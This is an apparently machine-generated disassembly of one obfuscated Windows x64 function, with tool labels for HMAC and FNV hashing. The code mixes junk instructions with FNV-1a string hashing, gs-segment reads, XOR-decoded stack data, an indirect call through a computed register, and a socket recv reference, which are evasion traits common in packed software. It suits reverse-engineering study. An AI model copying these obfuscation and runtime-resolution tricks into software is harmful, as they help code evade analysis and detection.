Function at 0x1401bf050
Capabilities:
Authenticate hmac
Hash data using fnv

Disassembly:
push r15
btr ax, 0xd9
push r14
push r13
rcl al, cl
bts ax, r12w
stc
push r12
add ax, 0xb0e3
push rsi
push rdi
bt ax, r12w
push rbp
shrd si, ax, 0x5c
dec al
push rbx
sub rsp, 0x98
and rax, 0x35b32b20
rcl si, 0x98
movdqa xmmword [rsp + 0x80], xmm7
adc ah, 0xb7
mov rax, 0x7c0e45b8
movdqa xmmword [rsp + 0x70], xmm6
mov rsi, rcx
bts ax, r15w
inc al
shl al, cl
mov rax, qword [0x1400ffa80]
cmp di, 0xae0a
clc
xor rax, rsp
cmp rcx, 0xffffffffd39ea694
mov qword [rsp + 0x68], rax
cmp qword [rcx + 0x18], 8
mov rax, rcx
jmp 0x1401bf0d9
jb 0x1401bf0e2
mov rax, qword [rsi]
mov rdx, 0xffffffffffffffff
jmp 0x1401bf0f0
nop dword [rax + rax]
cmp word [rax + rdx*2 + 2], 0
jmp 0x1401bf103
lea rdx, [rdx + 1]
jne 0x1401bf0f8
movabs r10, 0xcbf29ce484222325
test rdx, rdx
jmp 0x1401bf11f
je 0x1401bf1a5
xor r8d, r8d
test dh, dh
movzx rcx, r10w
movabs r9, 0x100000001b3
rol ecx, cl
or r11b, 0xd8
sal ch, cl
nop dword [rax + rax]
btc rcx, 0x44
rol ch, 0xd0
btr rcx, 0xa1
movzx ecx, byte [rax + r8*2]
xchg r11b, r11b
rcl r11, cl
xor rcx, r10
sbb r10, 0x49015702
imul rcx, r9
cmovg r10w, bx
movsxd r10, esi
inc r8
mov r11d, r8d
bsr r10w, r11w
sar r10w, cl
mov r10, rcx
test r13b, 0xf3
cmp r13w, 0xf927
cmp rdx, r11
jmp 0x1401bf19a
ja 0x1401bf155
jmp 0x1401bf1ad
mov rcx, r10
jmp 0x1401bf1ad
call fcn.1401c0033
mov rdi, rax
test ax, bp
test rax, rax
jmp 0x1401bf1c0
jne 0x1401bfefc
movabs r15, 0xf000000000000
btc r12d, 0x5e
movabs r14, 0xf00000000000
shl bx, cl
movabs r12, 0xf0000000f00
sar bl, cl
lahf
bsf cx, r9w
movabs rbx, 0xf0000f000
and r9b, 0x95
movabs rax, 0xb986d75fdbe2dfca
rol r9b, cl
bswap r9
or ecx, esi
movabs rcx, 0x1ec1b8aa314d2ac7
movq xmm0, rcx
ror r9, cl
add r9b, dl
not r9w
movq xmm1, rax
adc eax, 0xef1603ac
or al, r13b
sar ah, 0x11
punpcklqdq xmm1, xmm0
sal r9d, 0x6b
shl ax, 0x44
movdqa xmm0, xmmword [0x140100d40]
pxor xmm1, xmm0
btr r9w, 0x10
not eax
movq rax, xmm1
xadd r9w, r9w
cmovno r9w, sp
mov r9, rax
clc
shl r9, 0xc
jmp 0x1401bf279
pshufd xmm1, xmm1, 0xee
movq rdx, xmm1
clc
mov rcx, rdx
btr r8w, r15w
shr rcx, 8
movzx r13w, r13b
sub r10b, 0xee
mov r10d, r9d
movzx r8w, r12b
shr r13w, cl
cmp r10b, cl
and r10d, 0xf00f0000
neg r13
and rcx, r12
neg r11b
xadd r13d, r11d
mov r11d, eax
shr r8b, 0xc0
test ax, ax
and r11d, 0xf00000
shl r11, 0x10
mov rdi, rdx
sal r13b, 0x50
shl rdi, 8
and rdi, r15
xor r8b, dil
bswap r13w
xchg r13b, r8b
mov r8, rax
test spl, 0x42
sub r13d, 0xcebd8c11
adc r13b, r15b
shr r8, 0x38
and r9, r14
mov r13, rdx
cmc
test r10d, 0x76227a22
shl r13, 0x3c
cmp r8b, bl
test rdi, 0xffffffff8798b968
cmp r14, 0xffffffffd9b9696c
or r13, rcx
sub cx, r14w
cmp r8b, 9
or r13, r10
rol ch, 0xac
stc
or r13, r11
not cx
jmp 0x1401bf341
or r13, rdi
setbe ch
movsx r11, r14w
sar ch, cl
mov rcx, rdx
movzx r10w, r11b
cmp r10b, sil
shrd r10w, dx, 0xe
shr rcx, 0x14
sbb r11w, 0x951c
mov r10, rax
shr r10, 0x28
and r10d, 0xf
and r8d, 0xfffffff0
or r8, r13
cmovg r11w, ax
or r8, r9
sbb r11b, r10b
rcr r9b, cl
mov r9d, edx
or r11d, 0x21b8b288
movsx r11d, di
bswap r11
and r9d, 0xf00000
btr r11w, r14w
shl r9, 0x20
mov r11, rax
clc
shr r11, 0x18
cmc
and r11d, 0xf000000
clc
test r10b, 0xc6
cmp ecx, 0x6d043a18
shr rax, 0x24
cmp r8b, 0xb1
and eax, 0xf00000
cmp cl, r11b
stc
and edx, 0xf00
jmp 0x1401bf3e8
shl rdx, 0x30
cmp sil, 0x41
and rcx, rbx
clc
or rcx, r10
or rcx, r9
stc
cmp ecx, r8d
or rcx, r11
or rcx, rax
clc
cmp dil, 0x73
or rcx, rdx
or rcx, r8
cmp rcx, 0xffffffffffffffff
jmp 0x1401bf418
je 0x1401bfcd9
cmp qword [0x140100d40], 0
jmp 0x1401bf42b
je 0x1401bfcd9
pshufd xmm0, xmm0, 0xee
movq rax, xmm0
jmp 0x1401bf441
test rax, rax
jmp 0x1401bf449
je 0x1401bfcd9
movabs rbp, 0xf0000000000000
xchg r13b, r13b
clc
adc r13w, r13w
movabs r13, 0xf000000000
rcl dil, 0xb8
dec dil
cmp qword [rsi + 0x18], 8
mov rdi, rsi
jmp 0x1401bf47f
jb 0x1401bf48b
mov rdi, qword [rsi]
mov dx, bx
not rcx
movzx edx, r15w
sete dl
bswap edx
movabs rdx, 0x8e5777f11905ab62
call fcn.1401c05c2
mov r8, rax
adc rcx, 0xffffffffd09a9345
btr cx, r14w
movzx ax, r12b
movabs rax, 0xe50e06b6ebcc7f33
not cx
shl ch, cl
movabs rcx, 0xf018a82c75c5b811
movq xmm0, rcx
clc
movq xmm1, rax
test r12w, r8w
cmc
cmp r8, 0x4d1c3fa5
punpcklqdq xmm1, xmm0
sub eax, eax
not rax
jmp 0x1401bf4f8
movq xmm0, rax
jmp 0x1401bf502
pshufd xmm0, xmm0, 0x44
movabs rax, 0x6c108b4b143380cc
not cx
bswap cx
movzx cx, spl
movabs rcx, 0xfe725d1ab1b47de
jmp 0x1401bf52b
movq xmm2, rcx
jmp 0x1401bf535
movq xmm3, rax
jmp 0x1401bf53f
punpcklqdq xmm3, xmm2
jmp 0x1401bf548
pxor xmm3, xmm1
jmp 0x1401bf551
pandn xmm3, xmm0
pshufd xmm1, xmm3, 0xee
movq rax, xmm1
shl r9b, cl
shr r9b, cl
movd ecx, xmm3
sar dh, cl
and dl, r8b
shl ecx, 0x10
btr r9, r8
movzx eax, ax
mov r9, qword gs:[rcx + rax]
bt edx, 0xff
cwde
rdtsc
bt ecx, r11d
shl rdx, 0x20
neg ch
or rdx, rax
movsxd rcx, r10d
cmovl eax, r11d
setne ah
movabs rax, 0xeac829b7d6e938e2
movabs rcx, 0x6113969a0a61adf7
jmp 0x1401bf5b4
movq xmm1, rcx
bswap cx
movsx ecx, r8w
mov ch, 0xde
movq xmm2, rax
cbw
punpcklqdq xmm2, xmm1
mov rax, r8
movabs rax, 0xb79fcf612916c71d
movabs rcx, 0x9eec704c00b6520a
movq xmm1, rcx
jmp 0x1401bf5ef
movq xmm3, rax
jmp 0x1401bf5f9
punpcklqdq xmm3, xmm1
pxor xmm3, xmm2
jmp 0x1401bf606
pandn xmm3, xmm0
pshufd xmm1, xmm3, 0xee
movq rcx, xmm1
adc ax, 0x271b
sbb r10b, 0x68
movq rax, xmm3
rcl r10w, 0x50
mov r10d, eax
bswap rax
cbw
btr ax, bp
shl r10, 0x10
sbb ah, 0xb8
sal ah, cl
setge al
movabs rax, 0xffff00000000ffff
test r11d, edx
clc
and rcx, rax
stc
or rcx, r10
cmp sil, r14b
imul rcx, rdx
jmp 0x1401bf65f
movq xmm1, rcx
jmp 0x1401bf669
movq xmm2, rdx
jmp 0x1401bf673
pshufd xmm3, xmm2, 0x44
punpcklqdq xmm2, xmm1
movsxd rdx, esi
movsx rdx, bp
cwd
movabs rcx, 0x790b8ad27bac2b2f
mov dx, di
movabs rdx, 0xa7a89484ab1f67a9
jmp 0x1401bf6a1
movq xmm1, rdx
movq xmm4, rcx
punpcklqdq xmm4, xmm1
movabs rcx, 0x4519227b8453d4d0
mov dl, r10b
movabs rdx, 0x58573c2dd8df9855
jmp 0x1401bf6cb
movq xmm5, rdx
jmp 0x1401bf6d5
movq xmm1, rcx
jmp 0x1401bf6df
punpcklqdq xmm1, xmm5
jmp 0x1401bf6e8
pxor xmm1, xmm4
jmp 0x1401bf6f1
pandn xmm1, xmm0
movabs rcx, 0x19c5322d23385098
movsxd rdx, eax
cqo
movabs rdx, 0x5ae51a7675bb4873
movq xmm4, rdx
xchg dl, dl
movzx rdx, r13w
movq xmm5, rcx
punpcklqdq xmm5, xmm4
movsx edx, r11w
movabs rcx, 0xc2cb65f9dcc7af67
movabs rdx, 0xa51a4da23f52b788
jmp 0x1401bf73f
movq xmm4, rdx
jmp 0x1401bf749
movq xmm6, rcx
jmp 0x1401bf753
punpcklqdq xmm6, xmm4
pxor xmm6, xmm5
jmp 0x1401bf760
pandn xmm6, xmm0
movabs rcx, 0xb768a179094d842
not edx
movabs rdx, 0x6da96cda3a2d28b7
movq xmm4, rdx
movq xmm5, rcx
movsxd rcx, ebp
punpcklqdq xmm5, xmm4
movsxd rcx, esi
mov cl, 0xe5
movsx edx, ax
movabs rcx, 0x27c26b216f6bd842
bswap dx
movabs rdx, 0x92568dec951d28b7
jmp 0x1401bf7af
movq xmm4, rdx
jmp 0x1401bf7b9
movq xmm7, rcx
jmp 0x1401bf7c3
punpcklqdq xmm7, xmm4
pxor xmm7, xmm5
pandn xmm7, xmm0
pshufd xmm4, xmm7, 0xee
movq rcx, xmm4
movzx edx, si
movd edx, xmm7
sar r10b, 0xc2
shl edx, 0x10
movzx r10d, cx
btr rcx, r14
xadd rcx, rcx
or r10d, edx
setb cl
movabs rcx, 0x696fbbd0dac26495
jmp 0x1401bf808
movq xmm4, rcx
jmp 0x1401bf812
pshufd xmm4, xmm4, 0x44
movabs rcx, 0x969094afc25f9b4a
movq xmm5, rcx
pshufd xmm5, xmm5, 0x44
pxor xmm5, xmm4
jmp 0x1401bf834
pandn xmm5, xmm0
pextrw ecx, xmm5, 4
movq xmm4, r8
clc
shr r8, cl
jmp 0x1401bf84b
movdqa xmm5, xmm1
jmp 0x1401bf854
punpcklqdq xmm5, xmm6
jmp 0x1401bf85d
psllq xmm5, 0x10
punpckhqdq xmm1, xmm6
jmp 0x1401bf86b
movdqa xmm6, xmmword [section..rdata]
jmp 0x1401bf878
pand xmm5, xmm6
pandn xmm6, xmm1
por xmm6, xmm5
movdqa xmm1, xmm3
jmp 0x1401bf88d
psrlq xmm1, 0x20
pmuludq xmm1, xmm6
movdqa xmm5, xmm6
jmp 0x1401bf89f
psrlq xmm5, 0x20
pmuludq xmm5, xmm3
paddq xmm5, xmm1
jmp 0x1401bf8b1
psllq xmm5, 0x20
pmuludq xmm6, xmm3
paddq xmm6, xmm5
jmp 0x1401bf8c3
movd xmm1, r10d
jmp 0x1401bf8cd
pshufd xmm1, xmm1, 0x44
movq xmm3, r8
punpcklqdq xmm4, xmm3
jmp 0x1401bf8e0
pand xmm6, xmmword [0x1400d3030]
pand xmm4, xmm1
jmp 0x1401bf8f1
por xmm6, xmm4
pxor xmm6, xmm2
cwd
bswap edx
movsxd rdx, r14d
movabs rcx, 0xa327b824236f4949
xchg dx, dx
movabs rdx, 0xfd87c278992693fd
jmp 0x1401bf91c
movq xmm1, rdx
sets dl
jmp 0x1401bf92b
movq xmm3, rcx
movsx ecx, cx
mov ch, 0xc4
punpcklqdq xmm3, xmm1
xchg rcx, rcx
movzx dx, dh
movabs rcx, 0xc5d38a17dc90b6b6
bswap dx
movabs rdx, 0x278f04b94936d82
movq xmm1, rdx
jmp 0x1401bf962
movq xmm4, rcx
jmp 0x1401bf96c
punpcklqdq xmm4, xmm1
jmp 0x1401bf975
pxor xmm4, xmm3
pandn xmm4, xmm0
pshufd xmm1, xmm4, 0xee
movq rcx, xmm1
clc
bts dx, sp
movq rdx, xmm4
mov edx, edx
cmp r15b, r10b
shl rdx, 0x10
and rcx, rax
add rcx, r9
jmp 0x1401bf9a5
movdqu xmmword [rdx + rcx], xmm6
jmp 0x1401bf9b2
movabs rcx, 0xe336360fbdba6bba
cmovl dx, r9w
cwd
movabs rdx, 0xe9e87f8abda38f27
jmp 0x1401bf9d2
movq xmm1, rdx
setae dl
xchg dl, dh
movq xmm3, rcx
setl ch
cdq
punpcklqdq xmm3, xmm1
mov dl, 0x87
movsx ecx, cx
cqo
movabs rcx, 0xf063a58142459445
movabs rdx, 0x1617ec04b2cf7148
jmp 0x1401bfa09
movq xmm1, rdx
jmp 0x1401bfa13
movq xmm4, rcx
jmp 0x1401bfa1d
punpcklqdq xmm4, xmm1
jmp 0x1401bfa26
pxor xmm4, xmm3
jmp 0x1401bfa2f
pandn xmm4, xmm0
pshufd xmm0, xmm4, 0xee
movq rcx, xmm0
shr r8d, cl
shr r8, 0xe7
movq rdx, xmm4
dec r8
mov edx, edx
shl rdx, 0x10
movzx r8w, dil
and rcx, rax
lea rcx, [rcx + r9]
sal ax, cl
movzx eax, cx
movdqu xmmword [rdx + rcx], xmm2
movabs rax, 0xc0471b3a06e99797
movabs rcx, 0x11d6ed94200b35b9
mov r8b, r14b
bswap r8w
movq xmm0, rcx
adc r8b, 0xd6
rcr r8b, cl
sar cl, 0xbd
movq xmm1, rax
btc cx, dx
movsx r8, r12w
rol cl, cl
punpcklqdq xmm1, xmm0
pxor xmm1, xmmword [0x140100dc0]
movq rcx, xmm1
dec r8b
setno r8b
mov r8, rcx
cmp rbp, 0x1d281b5a
cmc
shl r8, 0xc
jmp 0x1401bface
pshufd xmm0, xmm1, 0xee
movq rax, xmm0
mov r9, rax
bsr r10w, r10w
or r10b, 0x8e
cwd
shr r9, 8
mov edx, r8d
bt r11w, 0x92
add r11b, 0xb2
and edx, 0xf00f0000
add r10b, 0x42
and r9, r12
test r8b, 0x24
movzx r10w, r14b
mov r10, rcx
mov r11w, r9w
shl r10, 0x10
bts r11d, r11d
test rsi, 0xffffffff82309ae4
btc r11w, 0xed
and r10, r13
or r10, rdx
ror r11w, cl
mov r11, rax
add dl, 0x40
shl r11, 8
test ebx, edi
cwd
and r11, r15
xor edx, 0x7ea236f0
or r11, r10
cwd
sal r10b, cl
mov rdx, rcx
sets r10b
shr rdx, 0x38
shld r10, rbx, 0x15
or r10b, 0xa7
and r8, r14
btr r10w, sp
mov r14, rax
shld r10d, esp, 0x7b
cmovns r10d, eax
shr r10, 3
shl r14, 0x3c
sar r10w, 0x72
or r14, r9
or r14, r11
rol r9b, 0x4b
btc r11d, esp
mov r9, rax
rcr r10b, cl
shr r9, 0x14
cmp bh, 0x12
mov r10, rcx
movzx r11w, dl
shr r10, 0x28
adc r11d, 0x883a537c
stc
rcl r11w, 0x47
and r10d, 0xf
rol r11w, cl
bts r11w, bx
shld r11, r10, 0x14
and edx, 0xfffffff0
add r11b, bl
ror r11b, cl
bt r11w, 0x9e
or rdx, r8
sbb r8b, r9b
bts r11w, r10w
or rdx, r14
and r8d, r15d
cmp dil, 0x3f
shr r8b, 0x97
mov r8, rax
shl r8, 0x20
and r8, rbp
rcr r11, 0x30
sbb r11d, r12d
shr r11w, 0x54
mov r11, rcx
jmp 0x1401bfc13
shr r11, 0x18
and r11d, 0xf000000
jmp 0x1401bfc25
or r11, r8
setp r8b
bsr r8w, r14w
shld r8, rcx, 0x3b
shr rcx, 0x24
bswap r8
mov r8d, 0xdd99a29d
rol r8b, cl
and ecx, 0xf00000
movzx r8, r11w
shl rax, 0x30
or r8w, 0x4ed4
movabs r8, 0xf00000000000000
jmp 0x1401bfc6a
and rax, r8
test r12w, 0xf29a
or rax, rcx
bsr ecx, eax
and r9, rbx
rcr cx, cl
xor cl, 0x71
movsx cx, sil
or r9, r10
jmp 0x1401bfc93
or r9, r11
bts rcx, rsp
or r9, rax
xchg cx, cx
rol cx, 0x66
or r9, rdx
inc ecx
clc
stc
not r9
cmp bl, 0x95
rcr cl, 0x22
mov rcx, rdi
xor edx, edx
cmp r15b, 0xd9
sub r8d, r8d
jmp 0x1401bfcc5
call r9
mov rdi, rax
test rax, rax
jmp 0x1401bfcd3
jne 0x1401bfefc
movabs rax, 0x7bdc6299e4364a53
jmp 0x1401bfceb
mov qword [rsp + 0x20], rax
movabs rax, 0xbbb95e23c5f4f28b
cdq
mov qword [rsp + 0x28], rax
cwd
movabs rax, 0x50224b15f98d4c20
movzx dx, dh
mov qword [rsp + 0x30], rax
mov cx, 0xb2cf
cqo
movabs rax, 0x6c6be4dad38c7cc
cmovs dx, bp
cdq
mov qword [rsp + 0x38], rax
movsxd rcx, edx
mov dl, r8b
movabs rax, 0x7bb062f0e4574a35
mov qword [rsp + 0x40], rax
jmp 0x1401bfd49
movabs rax, 0xbbcd5e03c590f2ee
xchg dx, dx
mov qword [rsp + 0x48], rax
cmovg ecx, eax
movabs rax, 0x50474b72f9ad4c4f
movzx rdx, r14w
jmp 0x1401bfd73
mov qword [rsp + 0x50], rax
movabs rax, 0x6c6be4dad18c7b8
mov qword [rsp + 0x58], rax
mov al, 0xe0
xchg cl, ah
movzx rax, sp
lea rax, [rsp + 0x40]
movups xmm0, xmmword [rax]
movsxd rcx, eax
xorps xmm0, xmmword [rsp + 0x20]
mov rcx, r14
movzx edx, di
movaps xmmword [rsp + 0x20], xmm0
movdqu xmm0, xmmword [rax + 0x10]
pxor xmm0, xmmword [rsp + 0x30]
mov dx, bx
cwd
movdqa xmmword [rsp + 0x30], xmm0
cwd
lea rcx, [0x1401012f0]
cmovne dx, r15w
jmp 0x1401bfdd5
lea rdx, [rsp + 0x20]
jmp 0x1401bfddf
call fcn.140017bd0
mov r8, qword [rsi + 0x10]
bswap edx
bsr edx, r15d
bt dx, bp
cmp qword [rsi + 0x18], 8
movsx edx, r9w
not rdx
mov rdx, rsi
jmp 0x1401bfe06
jb 0x1401bfe17
mov rdx, qword [rsi]
cmovo rcx, r14
movzx rcx, r14w
mov rcx, rax
jmp 0x1401bfe1f
call fcn.1400185c0
mov rdi, rax
movsxd rcx, edi
movzx ecx, si
mov rax, qword [rax]
bswap ecx
movsx rcx, bp
movsxd rax, dword [rax + 4]
xchg cx, cx
mov rax, qword [rdi + rax + 0x40]
mov rcx, qword [rax + 8]
movsx rax, di
mov qword [rsp + 0x48], rcx
movsx rax, r14w
movsxd rax, r10d
cdqe
mov rax, qword [rcx]
jmp 0x1401bfe60
call qword [rax + 8]
lea rcx, [rsp + 0x40]
jmp 0x1401bfe6d
call fcn.1400189f0
mov r8, qword [rax]
sete dl
mov rcx, rax
mov dl, dil
setnp dl
mov dl, 0xa
jmp 0x1401bfe88
call qword [r8 + 0x60]
mov ebx, eax
mov rcx, qword [rsp + 0x48]
test rcx, rcx
jmp 0x1401bfe9b
je 0x1401bfed3
mov rax, qword [rcx]
jmp 0x1401bfea9
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
jmp 0x1401bfeb4
je 0x1401bfed3
mov r8, qword [rax]
movzx ecx, r11w
not dh
mov rcx, rax
mov edx, 1
jmp 0x1401bfed0
call qword [r8]
mov rcx, rdi
cmovs dx, r15w
mov edx, ebx
jmp 0x1401bfee2
call fcn.140018870
mov rcx, rdi
jmp 0x1401bfeef
call fcn.140006640
sub edi, edi
shl ax, 0xda
mov al, 0xc8
mov rax, qword [rsi + 0x18]
cmp rax, 8
jmp 0x1401bff09
jb 0x1401bff84
mov rcx, qword [rsi]
cmp dl, 0xcd
cmp al, bpl
lea rdx, [rax*2 + 2]
stc
cmp rdx, 0x1000
jmp 0x1401bff2d
jb 0x1401bff7f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
jmp 0x1401bff45
sub rcx, r8
test r15, r11
cmp rcx, 0x20
jmp 0x1401bff54
jae 0x1401c0023
add rax, rax
shrd rcx, rdx, 0x53
add rax, 0x29
cmovge cx, ax
jmp 0x1401bff74
mov rdx, rax
mov rcx, r8
jmp 0x1401bff7f
call fcn.1400a1fc4
mov qword [rsi + 0x10], 0
btc cx, r9w
adc ecx, 0x732e4b7b
mov qword [rsi + 0x18], 7
cmc
mov word [rsi], 0
mov rcx, qword [rsp + 0x68]
cmp r12, r12
cmc
cmp dil, 0x36
xor rcx, rsp
jmp 0x1401bffba
call fcn.1400a2150
mov rax, rdi
movsx r14, r13w
movaps xmm6, xmmword [rsp + 0x70]
not r15d
bt edi, edx
movaps xmm7, xmmword [rsp + 0x80]
cmova ebx, edx
btc r15w, r14w
add rsp, 0x98
pop rbx
setp r14b
movzx r13w, spl
pop rbp
pop rdi
setp r15b
mov r14w, cx
pop rsi
pop r12
cmovo r15d, eax
movzx r14w, r12b
pop r13
mov r14w, dx
xchg r14d, r14d
pop r14
jmp 0x1401c001b
pop r15
jmp 0x1401c0022
ret
call fcn.1400afeec
nop
jmp 0x1401c002e
jmp 0x140017903